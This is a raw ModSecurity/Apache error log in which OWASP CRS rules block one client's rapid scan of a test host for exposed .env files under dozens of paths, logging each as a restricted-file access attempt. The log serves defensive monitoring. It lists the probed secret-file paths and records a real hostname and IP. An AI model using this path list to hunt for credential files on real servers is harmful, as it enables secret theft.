[Thu Feb 26 01:03:23.606235 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_gAAAAY&quot;]
[Thu Feb 26 01:03:23.606411 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_gAAAAY&quot;]
[Thu Feb 26 01:03:23.639524 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ts/prime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_wAAAAY&quot;]
[Thu Feb 26 01:03:23.639790 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_wAAAAY&quot;]
[Thu Feb 26 01:03:23.639977 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_wAAAAY&quot;]
[Thu Feb 26 01:03:23.672119 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGwAAAAc&quot;]
[Thu Feb 26 01:03:23.672392 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGwAAAAc&quot;]
[Thu Feb 26 01:03:23.672558 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGwAAAAc&quot;]
[Thu Feb 26 01:03:23.709221 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upload/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHAAAAAc&quot;]
[Thu Feb 26 01:03:23.709475 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHAAAAAc&quot;]
[Thu Feb 26 01:03:23.709639 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHAAAAAc&quot;]
[Thu Feb 26 01:03:23.741283 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHQAAAAc&quot;]
[Thu Feb 26 01:03:23.741573 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHQAAAAc&quot;]
[Thu Feb 26 01:03:23.741754 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHQAAAAc&quot;]
[Thu Feb 26 01:03:23.755489 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ubuntu/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AgAAAAY&quot;]
[Thu Feb 26 01:03:23.755738 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AgAAAAY&quot;]
[Thu Feb 26 01:03:23.755902 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AgAAAAY&quot;]
[Thu Feb 26 01:03:23.772699 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /urlmem-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHgAAAAc&quot;]
[Thu Feb 26 01:03:23.772961 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHgAAAAc&quot;]
[Thu Feb 26 01:03:23.773125 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHgAAAAc&quot;]
[Thu Feb 26 01:03:23.785377 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AwAAAAY&quot;]
[Thu Feb 26 01:03:23.785615 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AwAAAAY&quot;]
[Thu Feb 26 01:03:23.785778 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5AwAAAAY&quot;]
[Thu Feb 26 01:03:23.803628 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHwAAAAc&quot;]
[Thu Feb 26 01:03:23.803980 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHwAAAAc&quot;]
[Thu Feb 26 01:03:23.804154 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVHwAAAAc&quot;]
[Thu Feb 26 01:03:23.814310 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unixtime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BAAAAAY&quot;]
[Thu Feb 26 01:03:23.814584 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BAAAAAY&quot;]
[Thu Feb 26 01:03:23.814743 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BAAAAAY&quot;]
[Thu Feb 26 01:03:23.848161 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unsplash-downloader/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BQAAAAY&quot;]
[Thu Feb 26 01:03:23.848446 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BQAAAAY&quot;]
[Thu Feb 26 01:03:23.848631 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BQAAAAY&quot;]
[Thu Feb 26 01:03:23.881389 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user_info/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIQAAAAc&quot;]
